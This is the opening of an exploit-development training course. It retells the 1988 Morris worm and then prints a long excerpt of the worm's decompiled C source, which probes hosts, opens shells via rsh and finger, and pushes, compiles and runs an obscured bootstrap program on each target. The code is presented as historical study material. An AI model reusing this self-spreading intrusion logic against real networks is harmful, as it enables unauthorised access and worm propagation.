Exploit Development I
Your first baby steps
This training will cover the following topics from a technical and practical perspective, and starting from running and exploiting your first targets to gaining persistence and owning a whole network. This course builds deep background knowledge and expert-level skills and the ideal attendants will be penetration testers, security enthusiasts and network administrators.
- Concepts and basics
- Attacker Decision Making
- Getting started with Exploit Pack and Setup
- Internals of Exploit Pack
- Enumeration of Targets
- Exploiting the LAN
- Exploiting Windows Hosts
- Exploiting Linux Hosts
- Exploiting Web Servers
- Basic Exploit Writing
- Advanced techniques and real-world examples
- Post Exploitation
About the instructor:
Juan Sacco is the author and main dev of Exploit Pack, he currently works as an Exploit Writer and Reverse Engineer, along the path he has worked at companies like ING Bank, Core Security, NOD32, Homeland Security (ARG) and other financial and security-related organizations.
A “bit” of history about Exploits. Let’s start by saying that memory errors exploitations have been around since the 1980s and they still rank among other software errors as the most dangerous. From an integrity or availability perspective, the impact of a memory error exploit will for sure have a disruptive impact on any organization.
During this training we will see the history, the do, don’t and hows of memory errors, exploitation techniques, attacks, defenses and countermeasures. And all this will be covered not from a SysAdmin or Developer point of view but we will learn the practical way of a Black Hat hacker.
Memory errors, overflows and exceptions are one of the oldest software vulnerabilities. These kinds of vulnerabilities exist by design, and an attacker could take advantage of an overflow in order to take down or remotely control a machine.
But let’s go back in time, and for this, we need to talk a bit about history, and the origins of these flaws.
Join me on a time-machine ride, let’s set our Flux condenser to take us back...
...Precisely to November 2nd, 1988.
“If my calculations are correct, when this baby hits 88 miles per hour, you're gonna see some serious events.” - Dr. Emmet brown ( A time traveller )
Ok, so here we are in 1988. Robert T. Morris abruptly brought down the Internet. Could you just imagine, having the power of taking down the whole Internet? Yes. Just wow, right?
Ok, wait. We know when. 1988, November 2nd. But Why.. and the most important question for us is how?!
Robert Morris Jr. at this time is a graduate student in Computer Science at Cornell University, he just wrote a self-replicating, self-propagating program that created the name of “Cyber Worm”. He just deployed this program from MIT himself, and to avoid tracebacks he executed this piece of software from non-traceable government computers.
But soon enough (or not so soon) he realized that his worm was being replicated too fast, but of course, have in mind the internet speed of that time. The worm made his way by exploiting more than just one vulnerability.
Basically, the worm exploited: Sendmail, FingerD and rsh/rexec.
These exploits were successful and the worm gained remote access and allowed arbitrary code execution, but there was an unintended feature on this worm.
The worm could not check whenever a machine was infected or not, and because of this the same machine could potentially get infected multiple times, and every time it was creating an additional process on that target, that in fact, it will slowly take the machine down by memory consumption.
Eventually, at a certain point, the computer will turn out to be non-responsive and it will be in a Denial Of Service state, making the system connected to it unusable.
The targets and host machines were: BSD Systems and Sun-3 Systems.
The following code is a part of the Morris worm that shows the attacks and the previously mentioned exploits, take a deep look into it, and try to understand the exploits and how they were crafted.
Note: While you are into that, try to think how you would create a feature that could detect whenever a machine was infected or not.
/* dover */
#include "worm.h"
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
extern struct hst *h_addr2host(), *h_name2host();
extern int justreturn();
extern int errno;
extern char *malloc();
int alarmed = 0;
int ngateways, *gateways;
struct hst *me, *hosts;
int nifs;
struct ifses ifs[30]; /* Arbitrary number, fix */
/* Clean hosts not contacted from the host list. */
h_clean() /* 0x31f0 */
{
struct hst *newhosts, *host, *next;
newhosts = NULL;
for (host = hosts; host != NULL; host = next) {
next = host->next;
host->flag &= -7;
if (host == me || host->flag != 0) {
host->next = newhosts;
newhosts = host;
} else
free(host);
}
hosts = newhosts;
}
/* Look for a gateway we can contact. */
hg() /* 0x3270, check again */
{
struct hst *host;
int i;
rt_init();
for (i = 0; i < ngateways; i++) { /* 24, 92 */
host = h_addr2host(gateways[i], 1);
if (try_rsh_and_mail(host))
return 1;
}
return 0;
}
ha() /* 0x32d4, unchecked */
{
struct hst *host;
int i, j, k;
int l416[100];
int l420;
if (ngateways < 1)
rt_init();
j = 0;
for (i = 0; i < ngateways; i++) { /* 40, 172 */
host = h_addr2host(gateways[i], 1);
for (k = 0; k < 6; k++) { /* 86, 164 */
if (host->o48[k] == 0)
continue; /* 158 */
if (try_telnet_p(host->o48[k]) == 0)
continue;
l416[j] = host->o48[k];
j++;
}
}
permute(l416, j, sizeof(l416[0]));
for (i = 0; i < j; i++) { /* 198, 260 */
if (hi_84(l416[i] & netmaskfor(l416[i])))
return 1;
}
return 0;
}
hl() /* 0x33e6 */
{
int i;
for (i = 0; i < 6; i++) { /* 18, 106 */
if (me->o48[i] == 0)
break;
if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
return 1;
}
return 0;
}
hi() /* 0x3458 */
{
struct hst *host;
for (host = hosts; host; host = host->next )
if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
return 1;
return 0;
}
hi_84(arg1) /* 0x34ac */
{
int l4;
struct hst *host;
int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
int netaddrs[2048];
l12 = netmaskfor(arg1);
l16 = ~l12;
for (i = 0; i < nifs; i++) { /* 128,206 */
if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
return 0; /* 624 */
}
adr_index = 0;
if (l16 == 0x0000ffff) { /* 330 */
l44 = 4;
for (l40 = 1; l40 < 255; l40++) /* 236,306 */
for (l20 = 1; l20 <= 8; l20++) /* 254,300 */
netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
permute(netaddrs, adr_index, sizeof(netaddrs[0]));
} else { /* 432 */
l44 = 4;
for (l20 = 1; l20 < 255; l20++)
netaddrs[adr_index++] = (arg1 | l20);
permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
permute(netaddrs, adr_index - 6, 4);
}
if (adr_index > 20)
adr_index = 20;
for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */
l4 = netaddrs[l36];
host = h_addr2host(l4, 0);
if (host == NULL || (host->flag & 0x02) == 0)
continue;
if (host == NULL || (host->flag & 0x04) == 0 ||
command_port_p(l4, l44) == 0)
continue;
if (host == NULL)
host = h_addr2host(l4, 1);
if (try_rsh_and_mail(host))
return 1;
}
return 0;
}
/* Only called in the function above */
static command_port_p(addr, time) /* x36d2, <hi+634> */
u_long addr;
int time;
{
int s, connection; /* 28 */
struct sockaddr_in sin; /* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve
r... */
save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it
fails */
/* Set up a timeout to break from connect if it fails */
if (time < 1)
time = 1;
alarm(time);
connection = connect(s, &sin, sizeof(sin));
alarm(0);
close(s);
if (connection < 0 && errno == ENETUNREACH)
error("Network unreachable");
return connection != -1;
}
static try_telnet_p(addr) /* x37b2 <hi+858>, checked */
u_long addr;
{
int s, connection; /* 28 */
struct sockaddr_in sin; /* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_TELNET; /* This time try telnet... */
/* Set up a 5 second timeout, break from connect if it fails */
save_sighand = signal(SIGALRM, justreturn);
alarm(5);
connection = connect(s, &sin, sizeof(sin));
if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse
d */
connection = 0;
alarm(0); /* Turn off timeout */
close(s);
return connection != -1;
}
/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host) /* x3884, <hi+1068> */
struct hst *host;
{
int fd1, fd2, result;
if (host == me)
return 0; /* 1476 */
if (host->flag & 0x02)
return 0;
if (host->flag & 0x04)
return 0;
if (host->o48[0] == 0 || host->hostname == NULL)
getaddrs(host);
if (host->o48[0] == 0) {
host->flag |= 0x04;
return 0;
}
other_sleep(1);
if (host->hostname && /* 1352 */
fork_rsh(host->hostname, &fd1, &fd2,
XS("exec /bin/sh"))) { /* <env+188> */
result = talk_to_sh(host, fd1, fd2);
close(fd1);
close(fd2);
/* Prevent child from hanging around in the <exiting> state */
wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
if (result != 0)
return result;
}
if (try_finger(host, &fd1, &fd2)) { /* 1440 */
result = talk_to_sh(host, fd1, fd2);
close(fd1);
close(fd2);
if (result != 0)
return result;
}
if (try_mail(host))
return 1;
host->flag |= 4;
return 0;
}
/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed <hi+
>*/
struct hst *host;
int fdrd, fdwr;
{
object *objectptr;
char send_buf[512]; /* l516 */
char print_buf[52]; /* l568 */
int l572, l576, l580, l584, l588, l592;
objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */
if (objectptr == NULL)
return 0; /* <hi+2128> */
if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
return 0;
send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(fdwr, XS("cd /usr/tmp\n"));
l576 = random() % 0x00FFFFFF;
sprintf(print_buf, XS("x%d.c"), l576);
/* The 'sed' script just puts the EOF on the transmitted program. */
sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
),
print_buf);
send_text(fdwr, send_buf);
wait_for(fdrd, XS("gorch49"), 10);
xorbuf(objectptr->buf, objectptr->size);
l572 = write(fdwr, objectptr->buf, objectptr->size);
xorbuf(objectptr->buf, objectptr->size);
if (l572 != objectptr->size) {
close(l588);
return 0; /* to <hi+2128> */
}
send_text(fdwr, XS("int zz;\n\n"));
wait_for(fdrd, XS("gorch50"), 30);
#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
sprintf(send_buf, XS(COMPILE), l576, l576, l576,
inet_ntoa(a2in(l592)), l580, l584, l576, l576);
send_text(fdwr, send_buf);
if (wait_for(fdrd, XS("DONE"), 100) == 0) {
close(l588);
return 0; /* <hi+2128> */
}
return waithit(host, l592, l580, l584, l588);
}